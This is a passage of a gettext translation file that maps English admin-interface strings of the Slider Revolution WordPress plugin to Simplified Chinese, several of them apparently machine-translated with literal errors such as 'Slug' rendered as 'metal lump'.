admin/views/builder-slider-forms.php:479 msgid "Current Post" msgstr "现职" #: admin/views/builder-slider-forms.php:490 msgid "Post Selection" msgstr "选择后" #: admin/views/builder-slider-forms.php:494 msgid "Fetch By" msgstr "获取" #: admin/views/builder-slider-forms.php:495 msgid "Categories & Tags" msgstr "分类和标签" #: admin/views/builder-slider-forms.php:496 msgid "Related" msgstr "有关" #: admin/views/builder-slider-forms.php:497 msgid "Popular" msgstr "流行" #: admin/views/builder-slider-forms.php:498 msgid "Recent" msgstr "最近" #: admin/views/builder-slider-forms.php:499 msgid "Next / Previous" msgstr "下一个/上一个" #: admin/views/builder-slider-forms.php:502 msgid "Post Types:" msgstr "发布类型:" #: admin/views/builder-slider-forms.php:511 msgid "Categories:" msgstr "分类:" #: admin/views/builder-slider-forms.php:527 msgid "Specific Posts" msgstr "具体帖子" #: admin/views/builder-slider-forms.php:527 msgid "coma separated list | ex: 23,24,25" msgstr "分开的清单:23,24,25" #: admin/views/builder-slider-forms.php:528 msgid "Popular Posts" msgstr "热门帖子" #: admin/views/builder-slider-forms.php:529 msgid "Recent Posts" msgstr "最近的帖子" #: admin/views/builder-slider-forms.php:537 msgid "Sorting & Settings" msgstr "排序和设置" #: admin/views/builder-slider-forms.php:541 msgid "Sort Posts By:" msgstr "排序帖子:" #: admin/views/builder-slider-forms.php:542 #: admin/views/builder-slider-forms.php:660 admin/views/modals-builder.php:545 #: admin/views/modals-builder.php:545 msgid "Post ID" msgstr "发布ID" #: admin/views/builder-slider-forms.php:543 #: admin/views/builder-slider-forms.php:661 msgid "Date" msgstr "日期" #: admin/views/builder-slider-forms.php:545 #: admin/views/builder-slider-forms.php:663 msgid "Slug" msgstr "金属块" #: admin/views/builder-slider-forms.php:546 #: admin/views/builder-slider-forms.php:664 msgid "Author" msgstr "作者" #: admin/views/builder-slider-forms.php:547 #: admin/views/builder-slider-forms.php:665 msgid "Last Modified" msgstr "最后修改" #: admin/views/builder-slider-forms.php:548 #: admin/views/builder-slider-forms.php:666 msgid "Number Of Comments" msgstr "评论数量" #: admin/views/builder-slider-forms.php:549 #: admin/views/builder-slider-forms.php:667 #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Random" msgstr "随机" #: admin/views/builder-slider-forms.php:550 #: admin/views/builder-slider-forms.php:668 msgid "Unsorted" msgstr "未分类" #: admin/views/builder-slider-forms.php:551 #: admin/views/builder-slider-forms.php:669 msgid "Custom Order" msgstr "习惯顺序" #: admin/views/builder-slider-forms.php:565 #: admin/views/builder-slider-forms.php:671 msgid "Sort Direction" msgstr "排序方向" #: admin/views/builder-slider-forms.php:567 #: admin/views/builder-slider-forms.php:673 msgid "Descending" msgstr "降序" #: admin/views/builder-slider-forms.php:568 #: admin/views/builder-slider-forms.php:674 msgid "Ascending" msgstr "上升" #: admin/views/builder-slider-forms.php:572 #: admin/views/builder-slider-forms.php:677 msgid "Max Posts" msgstr "Max Posts" #: admin/views/builder-slider-forms.php:573 #: admin/views/builder-slider-forms.php:678 msgid "Limit Excerpt" msgstr "限制摘录" #: admin/views/builder-slider-forms.php:587 msgid "No further source settings needed. Content is created manually." msgstr "无需进一步的源设置。内容是手动创建的。" #: admin/views/builder-slider-forms.php:597 msgid "Types & Categories" msgstr "类型和类别" #: admin/views/builder-slider-forms.php:601 msgid "Types" msgstr "类型" #: admin/views/builder-slider-forms.php:613 msgid "Product Categories" msgstr "产品类别" #: admin/views/builder-slider-forms.php:632 #: admin/views/builder-slide-forms.php:22 #: admin/views/builder-slide-forms.php:321 #: admin/views/builder-slide-forms.php:324 msgid "Filters" msgstr "过滤器" #: admin/views/builder-slider-forms.php:636 #: admin/views/builder-slider-forms.php:640 msgid "From" msgstr "从" #: admin/views/builder-slider-forms.php:637 #: admin/views/builder-slider-forms.php:641 msgid "To" msgstr "至" #: admin/views/builder-slider-forms.php:643 msgid "In Stock Only" msgstr "仅限库存" #: admin/views/builder-slider-forms.php:644 msgid "Featured Only" msgstr "仅限精选" #: admin/views/builder-slider-forms.php:649 msgid "Sorting & Limitations" msgstr "排序和限制" #: admin/views/builder-slider-forms.php:652 msgid "Sort Prod. By" msgstr "分类产品。通过" #: admin/views/builder-slider-forms.php:687 msgid "Flickr Settings" msgstr "Flickr设置" #: admin/views/builder-slider-forms.php:690 #: admin/views/builder-slider-forms.php:728 #: admin/views/builder-slider-forms.php:746 #: admin/views/builder-slider-forms.php:772 #: admin/views/builder-slider-forms.php:800 #: admin/views/builder-slider-forms.php:838 msgid "Amount of Slides" msgstr "金额 Slides" #: admin/views/builder-slider-forms.php:691 #: admin/views/builder-slider-forms.php:747 #: admin/views/builder-slider-forms.php:773 #: admin/views/builder-slider-forms.php:801 #: admin/views/builder-slider-forms.php:839 msgid "Cache (sec)" msgstr "高速缓存 (第二)" #: admin/views/builder-slider-forms.php:691 #: admin/views/builder-slider-forms.php:729 #: admin/views/builder-slider-forms.php:747 #: admin/views/builder-slider-forms.php:773 #: admin/views/builder-slider-forms.php:801 #: admin/views/builder-slider-forms.php:839 msgid "i.e. 1200" msgstr "i.e. 1200" #: admin/views/builder-slider-forms.php:692 #: admin/views/builder-slider-forms.php:802 msgid "API Key" msgstr "API Key" #: admin/views/builder-slider-forms.php:692 msgid "Enter your Api Key" msgstr "输入您的Api密钥" #: admin/views/builder-slider-forms.php:694 #: admin/views/builder-slider-forms.php:731 msgid "Display a user's public photos" msgstr "显示用户的公开照片" #: admin/views/builder-slider-forms.php:694 #: admin/views/builder-slider-forms.php:731 msgid "User Public Photos" msgstr "用户公开照片" #: admin/views/builder-slider-forms.php:695 msgid "Display a certain photoset from a user" msgstr "显示用户的某个照片集" #: admin/views/builder-slider-forms.php:695 msgid "User Photoset" msgstr "用户Photoset" #: admin/views/builder-slider-forms.php:696 msgid "Display a gallery" msgstr "显示图库" #: admin/views/builder-slider-forms.php:696 msgid "Gallery" msgstr "画廊" #: admin/views/builder-slider-forms.php:697 msgid "Display a group's photos" msgstr "显示群组的照片" #: admin/views/builder-slider-forms.php:697 msgid "Groups' Photos" msgstr "团体照片" #: admin/views/builder-slider-forms.php:700 msgid "User URL:" msgstr "用户网址:" #: admin/views/builder-slider-forms.php:700 msgid "Enter User URL" msgstr "输入用户URL" #: admin/views/builder-slider-forms.php:702 msgid "Photoset" msgstr "Photoset" #: admin/views/builder-slider-forms.php:702 msgid "Pick an Item" msgstr "选择一个项目" #: admin/views/builder-slider-forms.php:706 msgid "Gallery URL" msgstr "图库URL" #: admin/views/builder-slider-forms.php:706 msgid "Enter Gallery URL" msgstr "输入图库URL" #: admin/views/builder-slider-forms.php:709 msgid "Group URL" msgstr "组URL" #: admin/views/builder-slider-forms.php:709 msgid "Enter Group URL" msgstr "输入组URL" #: admin/views/builder-slider-forms.php:714 msgid "" "Read " "here how to receive your Flickr API key" msgstr "" "阅读" "此处如何接收您的Flickr API密钥" #: admin/views/builder-slider-forms.php:725 msgid "Instagram Settings" msgstr "Instagram设置" #: admin/views/builder-slider-forms.php:728 msgid "Slides:" msgstr "Slides:" #: admin/views/builder-slider-forms.php:729 msgid "Cache (sec):" msgstr "高速缓存 (第二):" #: admin/views/builder-slider-forms.php:730 msgid "Source:" msgstr "资源:" #: admin/views/builder-slider-forms.php:733 msgid "User Name:" msgstr "用户名:" #: admin/views/builder-slider-forms.php:733 #: admin/views/builder-slider-forms.php:847 msgid "Enter User Name" msgstr "输入用户名" #: admin/views/builder-slider-forms.php:743 msgid "Twitter Settings" msgstr "Twitter设置" #: admin/views/builder-slider-forms.php:746 msgid "Slides (<500)" msgstr "Slides (<500)" #: admin/views/builder-slider-forms.php:748 msgid "Twitter @" msgstr "Twitter @" #: admin/views/builder-slider-forms.php:748 msgid "Enter Twitter Name" msgstr "输入Twitter名称" #: admin/views/builder-slider-forms.php:749 msgid "Text Tweets" msgstr "文字推文" #: admin/views/builder-slider-forms.php:750 msgid "ReTweets" msgstr "锐推" #: admin/views/builder-slider-forms.php:751 msgid "Replies" msgstr "回复" #: admin/views/builder-slider-forms.php:752 msgid "Consumer Key" msgstr "消费者密钥" #: admin/views/builder-slider-forms.php:752 msgid "Enter Consumer Key" msgstr "输入消费者密钥" #: admin/views/builder-slider-forms.php:753 msgid "Cons. Secret" msgstr "消费者。秘密" #: admin/views/builder-slider-forms.php:753 msgid "Enter Secret" msgstr "输入秘密" #: admin/views/builder-slider-forms.php:754 msgid "Access Token" msgstr "访问令牌" #: admin/views/builder-slider-forms.php:754 msgid "Enter Access Token" msgstr "输入访问令牌" #: admin/views/builder-slider-forms.php:755 msgid "Access Secret" msgstr "访问秘密" #: admin/views/builder-slider-forms.php:755 msgid "Enter Access Secret" msgstr "输入Access Secret" #: admin/views/builder-slider-forms.php:759 msgid "" "Please " "register your application with Twitter
            to get the right values" msgstr "" "请使用Twitter
            " "注册您的应用程序,以获得正确的价值" #: admin/views/builder-slider-forms.php:769 msgid "FaceBook Settings" msgstr "FaceBook设置" #: admin/views/builder-slider-forms.php:772 #: admin/views/builder-slider-forms.php:800 msgid "Slides (<25)" msgstr "Slides(<25)" #: admin/views/builder-slider-forms.php:774 msgid "Page URL" msgstr "页面URL" #: admin/views/builder-slider-forms.php:774 msgid "Enter FaceBook Page URL" msgstr "输入FaceBook页面URL" #: admin/views/builder-slider-forms.php:776 #: admin/views/builder-slider-forms.php:842 #: admin/views/builder-slider-forms.php:850 msgid "Album" msgstr "专辑" #: admin/views/builder-slider-forms.php:777 msgid "TimeLine" msgstr "时间线" #: admin/views/builder-slider-forms.php:780 msgid "Select Album" msgstr "选择相册" #: admin/views/builder-slider-forms.php:782 msgid "APP ID" msgstr "APP ID" #: admin/views/builder-slider-forms.php:782 msgid "Enter the App ID" msgstr "输入App ID" #: admin/views/builder-slider-forms.php:783 msgid "APP Secret" msgstr "APP Secret" #: admin/views/builder-slider-forms.php:783 msgid "Enter the App Secret" msgstr "输入App Secret" #: admin/views/builder-slider-forms.php:787 msgid "" "Please register your Website app with Facebook
            to " "get the right values" msgstr "" "请使用Facebook
            注册您的网站应用,以获得正确的价值" #: admin/views/builder-slider-forms.php:797 msgid "YouTube Settings" msgstr "YouTube设置" #: admin/views/builder-slider-forms.php:802 msgid "Enter Api Key" msgstr "输入Api Key" #: admin/views/builder-slider-forms.php:806 msgid "" "Find information about the YouTube API key " "here" msgstr "" "查找有关YouTube API密钥的信息此处" #: admin/views/builder-slider-forms.php:809 msgid "Channel ID" msgstr "频道ID" #: admin/views/builder-slider-forms.php:809 msgid "Enter YouTube Channel ID" msgstr "输入YouTube频道ID" #: admin/views/builder-slider-forms.php:811 msgid "Playlist" msgstr "播放列表" #: admin/views/builder-slider-forms.php:812 #: admin/views/builder-slider-forms.php:844 #: admin/views/builder-slider-forms.php:856 msgid "Channel" msgstr "渠道" #: admin/views/builder-slider-forms.php:815 msgid "Select Playlist" msgstr "选择播放列表" #: admin/views/builder-slider-forms.php:820 msgid "" "See how to find the Youtube channel ID here" msgstr "" "了解如何查找Youtube频道ID 此处" #: admin/views/builder-slider-forms.php:825 msgid "" "The “YouTube Stream” content source is used to display a full stream of " "videos from a channel/playlist.
            If you want to display a single youtube " "video, please select the content source “Default Slider” and add a video " "layer in the slide editor." msgstr "" "“YouTube Stream”内容源用于显示来自频道/播放列表的完整视频流。
            " "如果您要显示单个YouTube视频,请选择内容源“默认Slider”并添加视频图层幻灯片编辑器。" #: admin/views/builder-slider-forms.php:835 msgid "Vimeo Settings" msgstr "Vimeo设置" #: admin/views/builder-slider-forms.php:838 msgid "Slides (<60)" msgstr "Slides (<60)" #: admin/views/builder-slider-forms.php:841 #: admin/views/builder-slider-forms.php:847 msgid "User" msgstr "用户" #: admin/views/builder-slider-forms.php:850 msgid "Enter Album Id" msgstr "输入相册ID" #: admin/views/builder-slider-forms.php:853 msgid "Enter Group Name" msgstr "输入组名称" #: admin/views/builder-slider-forms.php:856 msgid "Enter Channel Name" msgstr "输入频道名称" #: admin/views/builder-slider-forms.php:860 msgid "" "The “Vimeo Stream” content source is used to display a full stream of videos " "from a user/album/group/channel.
            If you want to display a single vimeo " "video, please select the content source “Default Slider” and add a video " "layer in the slide editor." msgstr "" "“Vimeo Stream”内容源用于显示来自用户/相册/群组/频道的完整视频流。
            " "如果要显示单个vimeo视频,请选择内容源“默认Slider”并添加幻灯片编辑器中的视频图层。" #: admin/views/builder-slider-forms.php:871 msgid "General Settings" msgstr "常规设置" #: admin/views/builder-slider-forms.php:875 msgid "Dynamic Viewport Loading" msgstr "动态视口加载" #: admin/views/builder-slider-forms.php:878 msgid "ViewPort Stop" msgstr "ViewPort停止" #: admin/views/builder-slider-forms.php:881 msgid "Wait" msgstr "等待" #: admin/views/builder-slider-forms.php:881 msgid "Pause" msgstr "暂停" #: admin/views/builder-slider-forms.php:893 msgid "Slideshow" msgstr "幻灯片" #: admin/views/builder-slider-forms.php:897 msgid "Auto Rotate Slideshow" msgstr "自动旋转幻灯片" #: admin/views/builder-slider-forms.php:899 msgid "Stop on Hover" msgstr "停在悬停上" #: admin/views/builder-slider-forms.php:900 msgid "Loop One Slide" msgstr "循环一幻灯片" #: admin/views/builder-slider-forms.php:901 msgid "Stop after N Loops" msgstr "N循环后停止" #: admin/views/builder-slider-forms.php:908 msgid "Random Order" msgstr "随机顺序" #: admin/views/builder-slider-forms.php:911 msgid "Wait for API" msgstr "等待API" #: admin/views/builder-slider-forms.php:922 msgid "Other 1. Slide" msgstr "其他1.Slide" #: admin/views/builder-slider-forms.php:923 msgid "#" msgstr "#" #: admin/views/builder-slider-forms.php:925 msgid "Diff. Anim" msgstr "DIFF。动画" #: admin/views/builder-slider-forms.php:927 msgid "Transitions" msgstr "转变" #: admin/views/builder-slider-forms.php:929 #: admin/views/builder-slide-forms.php:462 #: admin/views/builder-layer-forms.php:1134 msgid "Duration" msgstr "持续时间" #: admin/views/builder-slider-forms.php:930 msgid "Slot Amount" msgstr "槽金额" #: admin/views/builder-slider-forms.php:937 #: admin/views/builder-slider-forms.php:1049 msgid "Disable on Mobile" msgstr "禁用手机" #: admin/views/builder-slider-forms.php:939 msgid "Disable Slider" msgstr "禁用Slider" #: admin/views/builder-slider-forms.php:940 msgid "Disable Ken B." msgstr "禁用Ken Burns" #: admin/views/builder-slider-forms.php:946 msgid "Hide Under Browser width..." msgstr "在浏览器宽度下隐藏..." #: admin/views/builder-slider-forms.php:949 msgid "Marked Layers" msgstr "标记的图层" #: admin/views/builder-slider-forms.php:950 msgid "All Layers" msgstr "所有图层" #: admin/views/builder-slider-forms.php:955 msgid "Mobile Settings" msgstr "移动设置" #: admin/views/builder-slider-forms.php:957 msgid "HTML5 Autoplay" msgstr "HTML5自动播放" #: admin/views/builder-slider-forms.php:961 msgid "Option is depricated and will be removed in upcoming updates !" msgstr "选项已被删除,将在即将发布的更新中删除!" #: admin/views/builder-slider-forms.php:970 msgid "Browser behavior" msgstr "浏览器行为" #: admin/views/builder-slider-forms.php:973 msgid "Next on Browser Focus" msgstr "关于Browser Focus的下一个" #: admin/views/builder-slider-forms.php:974 msgid "Disable Blur/Focus behav." msgstr "禁用 模糊/焦点行为." #: admin/views/builder-slider-forms.php:984 #: admin/views/builder-slide-forms.php:31 msgid "WPML" msgstr "WPML" #: admin/views/builder-slider-forms.php:986 msgid "Use WPML Settings" msgstr "使用WPML设置" #: admin/views/builder-slider-forms.php:1000 msgid "Module Defaults" msgstr "模块默认值" #: admin/views/builder-slider-forms.php:1004 msgid "Default Basics" msgstr "默认基础知识" #: admin/views/builder-slider-forms.php:1006 msgid "Module ID" msgstr "模块ID" #: admin/views/builder-slider-forms.php:1007 msgid "Module Classes" msgstr "模块类" #: admin/views/builder-slider-forms.php:1008 msgid "Wrapper Classes" msgstr "Wrapper Classes" #: admin/views/builder-slider-forms.php:1009 msgid "Slide Duration" msgstr "Slide 持续时间" #: admin/views/builder-slider-forms.php:1010 msgid "Initialization Delay" msgstr "初始化延迟" #: admin/views/builder-slider-forms.php:1011 msgid "Layers are Selectable" msgstr "图层是可选择的" #: admin/views/builder-slider-forms.php:1017 msgid "Default New Layer Settings" msgstr "默认新图层设置" #: admin/views/builder-slider-forms.php:1019 #: admin/views/builder-layer-forms.php:378 msgid "Intelligent Inheriting" msgstr "智能继承" #: admin/views/builder-slider-forms.php:1020 msgid "Responsive Between Devices" msgstr "设备之间的响应" #: admin/views/builder-slider-forms.php:1021 #: admin/views/builder-layer-forms.php:385 msgid "Responsive Offsets" msgstr "响应抵消" #: admin/views/builder-slider-forms.php:1022 #: admin/views/builder-layer-forms.php:386 msgid "Responsive Children" msgstr "反应迅速的孩子" #: admin/views/builder-slider-forms.php:1037 msgid "Scroll Based Features" msgstr "基于滚动的功能" #: admin/views/builder-slider-forms.php:1040 msgid "Parallax" msgstr "视差" #: admin/views/builder-slider-forms.php:1041 #: admin/views/builder-layer-forms.php:1595 msgid "Timeline" msgstr "时间线" #: admin/views/builder-slider-forms.php:1046 msgid "Parallax Enabled" msgstr "视差已启用" #: admin/views/builder-slider-forms.php:1048 msgid "3D Effects Enabled" msgstr "3D 效果已启用" #: admin/views/builder-slider-forms.php:1054 msgid "Timelines Scroll based" msgstr "时间轴基于滚动" #: admin/views/builder-slider-forms.php:1058 msgid "Speed" msgstr "速度" #: admin/views/builder-slider-forms.php:1061 msgid "Fix during Scroll" msgstr "在滚动期间修复" #: admin/views/builder-slider-forms.php:1066 msgid "Module Fixed From" msgstr "模块固定" #: admin/views/builder-slider-forms.php:1067 msgid "Module Fixed Until" msgstr "模块固定直到" #: admin/views/builder-slider-forms.php:1073 msgid "Use Full Screen or Full Width Layout to Use Fixed Scroll." msgstr "使用全屏或全宽布局使用固定滚动。" #: admin/views/builder-slider-forms.php:1080 msgid "Scroll based Effects" msgstr "基于滚动的效果" #: admin/views/builder-slider-forms.php:1089 msgid "Mouse Interaction" msgstr "鼠标互动" #: admin/views/builder-slider-forms.php:1091 msgid "Triggered by" msgstr "触发" #: admin/views/builder-slider-forms.php:1092 msgid "Mouse Move" msgstr "鼠标移动" #: admin/views/builder-slider-forms.php:1093 msgid "Scroll Position" msgstr "滚动位置" #: admin/views/builder-slider-forms.php:1094 msgid "Mouse Move & Scroll" msgstr "鼠标移动和滚动" #: admin/views/builder-slider-forms.php:1096 msgid "Parallax Orig." msgstr "原版的Parallax。" #: admin/views/builder-slider-forms.php:1097 msgid "Mouse Enter Point" msgstr "鼠标输入点" #: admin/views/builder-slider-forms.php:1098 msgid "Slider Center" msgstr "Slider 中央" #: admin/views/builder-slider-forms.php:1100 msgid "Mouse Speed" msgstr "鼠标速度" #: admin/views/builder-slider-forms.php:1101 msgid "BG Speed" msgstr "BG速度" #: admin/views/builder-slider-forms.php:1102 msgid "Layers Speed" msgstr "图层速度" #: admin/views/builder-slider-forms.php:1108 msgid "3D Settings" msgstr "3D设置" #: admin/views/builder-slider-forms.php:1111 msgid "On Background Enabled" msgstr "在启用背景上" #: admin/views/builder-slider-forms.php:1112 msgid "Slider Overflow Hidden" msgstr "Slider 溢出隐藏" #: admin/views/builder-slider-forms.php:1113 msgid "Layers Overflow Hidden" msgstr "图层溢出隐藏" #: admin/views/builder-slider-forms.php:1115 msgid "3D Crop Fix (z)" msgstr "3D Crop Fix (z)" #: admin/views/builder-slider-forms.php:1116 #: admin/views/builder-slide-forms.php:261 msgid "BG 3D Depth" msgstr "BG 3D深度" #: admin/views/builder-slider-forms.php:1121 msgid "Depths" msgstr "深渊" #: admin/views/builder-slider-forms.php:1124 msgid "1." msgstr "1." #: admin/views/builder-slider-forms.php:1125 msgid "6." msgstr "6." #: admin/views/builder-slider-forms.php:1126 msgid "11." msgstr "11." #: admin/views/builder-slider-forms.php:1129 msgid "2." msgstr "2." #: admin/views/builder-slider-forms.php:1130 msgid "7." msgstr "7." #: admin/views/builder-slider-forms.php:1131 msgid "12." msgstr "12." #: admin/views/builder-slider-forms.php:1134 msgid "3." msgstr "3." #: admin/views/builder-slider-forms.php:1135 msgid "8." msgstr "8." #: admin/views/builder-slider-forms.php:1136 msgid "13." msgstr "13." #: admin/views/builder-slider-forms.php:1139 msgid "4." msgstr "4." #: admin/views/builder-slider-forms.php:1140 msgid "9." msgstr "9." #: admin/views/builder-slider-forms.php:1141 msgid "14." msgstr "14." #: admin/views/builder-slider-forms.php:1144 msgid "5." msgstr "5." #: admin/views/builder-slider-forms.php:1145 msgid "10." msgstr "10." #: admin/views/builder-slider-forms.php:1146 msgid "15." msgstr "15." #: admin/views/builder-slider-forms.php:1156 msgid "Use Default on..." msgstr "使用默认值..." #: admin/views/builder-slider-forms.php:1158 msgid "Layers" msgstr "图层" #: admin/views/builder-slider-forms.php:1168 msgid "Scroll Effects Default" msgstr "滚动效果默认值" #: admin/views/builder-slider-forms.php:1171 #: admin/views/builder-slide-forms.php:305 msgid "Grayscale" msgstr "灰度" #: admin/views/builder-slider-forms.php:1172 #: admin/views/builder-slide-forms.php:300 msgid "Blur" msgstr "模糊" #: admin/views/builder-slider-forms.php:1173 msgid "Max Blur Strength" msgstr "最大模糊力量" #: admin/views/builder-slider-forms.php:1174 msgid "Layers default Enabled" msgstr "图层默认为已启用" #: admin/views/builder-slider-forms.php:1175 msgid "Slides default Enabled" msgstr "Slides 默认启用" #: admin/views/builder-slider-forms.php:1179 msgid "Scroll Effects Settings" msgstr "滚动效果设置" #: admin/views/builder-slider-forms.php:1182 #: admin/views/builder-nav-forms.php:811 msgid "Direction" msgstr "方向" #: admin/views/builder-slider-forms.php:1185 #: admin/views/builder-layer-forms.php:326 msgid "Both" msgstr "都" #: admin/views/builder-slider-forms.php:1188 msgid "Disable Mobile" msgstr "禁用手机" #: admin/views/builder-slider-forms.php:1189 msgid "Offset (Tilt) Effect" msgstr "偏移(倾斜)效果" #: admin/views/builder-slider-forms.php:1190 msgid "Factor on BG's" msgstr "因素 BG's" #: admin/views/builder-slider-forms.php:1191 msgid "Factor on Layers" msgstr "层上因素" #: admin/views/builder-slider-forms.php:1205 msgid "Loading Type" msgstr "装载类型" #: admin/views/builder-slider-forms.php:1208 #: admin/views/builder-layer-forms.php:179 msgid "Lazy Loading" msgstr "延迟加载" #: admin/views/builder-slider-forms.php:1208 msgid "All" msgstr "所有" #: admin/views/builder-slider-forms.php:1208 msgid "Smart" msgstr "聪明" #: admin/views/builder-slider-forms.php:1208 msgid "Single" msgstr "单" #: admin/views/builder-slider-forms.php:1208 msgid "No Lazy Loading" msgstr "没有延迟加载" #: admin/views/builder-slider-forms.php:1216 msgid "Fallback Settings" msgstr "后备设置" #: admin/views/builder-slider-forms.php:1218 msgid "Simplify on IOS4 / IE8" msgstr "在IOS4 / IE8上简化" #: admin/views/builder-slider-forms.php:1220 msgid "Alt. Image" msgstr "备用图片" #: admin/views/builder-slider-forms.php:1221 #: admin/views/builder-nav-forms.php:831 #: admin/views/builder-layer-forms.php:240 msgid "Off" msgstr "Off" #: admin/views/builder-slider-forms.php:1222 msgid "On Mobile" msgstr "在移动" #: admin/views/builder-slider-forms.php:1223 msgid "On IE8" msgstr "在IE8上" #: admin/views/builder-slider-forms.php:1224 msgid "On Mobile and IE8" msgstr "在移动和IE8上" #: admin/views/builder-slider-forms.php:1228 msgid "Image URL" msgstr "图片网址" #: admin/views/builder-slider-forms.php:1228 #: admin/views/builder-slide-forms.php:56 msgid "Enter Image URL" msgstr "输入图片网址" #: admin/views/builder-slider-forms.php:1236 msgid "jQuery & OutPut Filters" msgstr "jQuery和OutPut过滤器" #: admin/views/builder-slider-forms.php:1238 msgid "jQuery No Conflict Mode" msgstr "jQuery没有冲突模式" #: admin/views/builder-slider-forms.php:1239 msgid "Put JS to Body" msgstr "把JS放到Body身上" #: admin/views/builder-slider-forms.php:1243 msgid "Output Filter" msgstr "输出滤波器" #: admin/views/builder-slider-forms.php:1245 msgid "By Compressing Output" msgstr "通过压缩输出" #: admin/views/builder-slider-forms.php:1246 msgid "By Echo Output" msgstr "通过回声输出" #: admin/views/builder-slider-forms.php:1248 msgid "Debug Mode" msgstr "调试模式" #: admin/views/builder-slider-forms.php:1261 admin/views/modals-builder.php:74 #: admin/views/modals-builder.php:109 admin/views/modals-builder.php:141 msgid "Next Step" msgstr "下一步" #: admin/views/modals-copyright.php:19 msgid "Copyright & Licensing - Slider Revolution Library" msgstr "版权和许可 - Slider Revolution Library" #: admin/views/builder-timeline.php:28 msgid "No Sticky Keyframes" msgstr "没有粘性关键帧" #: admin/views/builder-timeline.php:29 msgid "Single Layer Sticky" msgstr "单层粘性" #: admin/views/builder-timeline.php:30 msgid "Hierarchy Sticky" msgstr "层次结构粘滞" #: admin/views/builder-timeline.php:37 msgid "Set all Timings" msgstr "设置所有计时" #: admin/views/builder-timeline.php:70 msgid "Slide BG Animation" msgstr "Slide 背景动画" #: admin/views/builder-timeline.php:81 msgid "Global Layers Timeline" msgstr "全局图层时间轴" #: admin/views/builder-timeline.php:89 msgid "FREE POSITIONED LAYERS" msgstr "免费定位层" #: admin/views/builder-nav-forms.php:18 admin/views/builder-slide-forms.php:23 #: admin/views/builder-slide-forms.php:559 msgid "Progress" msgstr "进展" #: admin/views/builder-nav-forms.php:19 admin/views/builder-nav-forms.php:53 #: admin/views/modals-builder.php:226 msgid "Arrows" msgstr "箭头" #: admin/views/builder-nav-forms.php:20 admin/views/builder-nav-forms.php:246 #: admin/views/modals-builder.php:227 msgid "Bullets" msgstr "子弹" #: admin/views/builder-nav-forms.php:21 admin/views/builder-nav-forms.php:391 #: admin/views/modals-builder.php:228 msgid "Tabs" msgstr "标签" #: admin/views/builder-nav-forms.php:22 admin/views/builder-nav-forms.php:575 #: admin/views/modals-builder.php:229 msgid "Thumbs" msgstr "大拇指" #: admin/views/builder-nav-forms.php:23 msgid "Prev Size" msgstr "上一个尺寸" #: admin/views/builder-nav-forms.php:24 admin/views/builder-nav-forms.php:782 msgid "Touch" msgstr "触摸" #: admin/views/builder-nav-forms.php:25 msgid "Keyboard" msgstr "键盘" #: admin/views/builder-nav-forms.php:26 msgid "Mouse" msgstr "老鼠" #: admin/views/builder-nav-forms.php:27 msgid "Nav Editor" msgstr "导航编辑器" #: admin/views/builder-nav-forms.php:37 admin/views/builder-nav-forms.php:40 msgid "Progress Bar" msgstr "进度条" #: admin/views/builder-nav-forms.php:43 admin/views/modals-builder.php:322 #: admin/views/builder-layer-forms.php:1170 #: admin/views/builder-layer-forms.php:1556 #: admin/views/builder-layer-forms.php:1562 msgid "Color" msgstr "颜色" #: admin/views/builder-nav-forms.php:46 msgid "Height" msgstr "高度" #: admin/views/builder-nav-forms.php:56 admin/views/builder-nav-forms.php:60 #: admin/views/builder-nav-forms.php:249 admin/views/builder-nav-forms.php:252 #: admin/views/builder-nav-forms.php:253 admin/views/builder-nav-forms.php:400 #: admin/views/builder-nav-forms.php:401 admin/views/builder-nav-forms.php:583 #: admin/views/builder-nav-forms.php:584 admin/views/builder-layer-forms.php:29 #: admin/views/builder-layer-forms.php:502 msgid "Style" msgstr "样式" #: admin/views/builder-nav-forms.php:57 admin/views/builder-nav-forms.php:189 #: admin/views/builder-nav-forms.php:250 admin/views/builder-nav-forms.php:396 #: admin/views/builder-nav-forms.php:579 #: admin/views/builder-slide-forms.php:573 #: admin/views/builder-layer-forms.php:394 msgid "Visibility" msgstr "能见度" #: admin/views/builder-nav-forms.php:58 admin/views/builder-nav-forms.php:76 msgid "Left Arrow" msgstr "左箭头" #: admin/views/builder-nav-forms.php:59 admin/views/builder-nav-forms.php:135 msgid "Right Arrow" msgstr "右箭头" #: admin/views/builder-nav-forms.php:61 msgid "Style on Slide" msgstr "风格上Slide" #: admin/views/builder-nav-forms.php:64 msgid "Arrow Type" msgstr "箭头类型" #: admin/views/builder-nav-forms.php:68 msgid "Arrow Style" msgstr "箭头样式" #: admin/views/builder-nav-forms.php:69 admin/views/builder-nav-forms.php:262 #: admin/views/builder-nav-forms.php:410 admin/views/builder-nav-forms.php:593 msgid "No Style" msgstr "没有风格" #: admin/views/builder-nav-forms.php:83 admin/views/builder-nav-forms.php:138 #: admin/views/builder-nav-forms.php:280 admin/views/builder-nav-forms.php:427 #: admin/views/builder-nav-forms.php:610 msgid "Aligned by" msgstr "对齐通过" #: admin/views/builder-nav-forms.php:85 admin/views/builder-nav-forms.php:140 #: admin/views/builder-nav-forms.php:282 admin/views/builder-nav-forms.php:429 msgid "Module Dimension" msgstr "模块尺寸" #: admin/views/builder-nav-forms.php:95 admin/views/builder-nav-forms.php:149 #: admin/views/builder-nav-forms.php:291 admin/views/builder-nav-forms.php:447 #: admin/views/builder-nav-forms.php:630 #: admin/views/builder-layer-forms.php:442 msgid "Alignment" msgstr "对准" #: admin/views/builder-nav-forms.php:124 admin/views/builder-nav-forms.php:177 #: admin/views/builder-nav-forms.php:324 admin/views/builder-nav-forms.php:513 #: admin/views/builder-nav-forms.php:695 msgid "From Left" msgstr "从左边开始" #: admin/views/builder-nav-forms.php:125 admin/views/builder-nav-forms.php:178 #: admin/views/builder-nav-forms.php:325 admin/views/builder-nav-forms.php:514 #: admin/views/builder-nav-forms.php:696 msgid "From Right" msgstr "来自右边" #: admin/views/builder-nav-forms.php:126 admin/views/builder-nav-forms.php:179 #: admin/views/builder-nav-forms.php:326 admin/views/builder-nav-forms.php:515 #: admin/views/builder-nav-forms.php:697 msgid "From Top" msgstr "从顶部" #: admin/views/builder-nav-forms.php:127 admin/views/builder-nav-forms.php:180 #: admin/views/builder-nav-forms.php:327 admin/views/builder-nav-forms.php:516 #: admin/views/builder-nav-forms.php:698 msgid "From Bottom" msgstr "从底部" #: admin/views/builder-nav-forms.php:128 admin/views/builder-nav-forms.php:181 #: admin/views/builder-nav-forms.php:328 admin/views/builder-nav-forms.php:517 #: 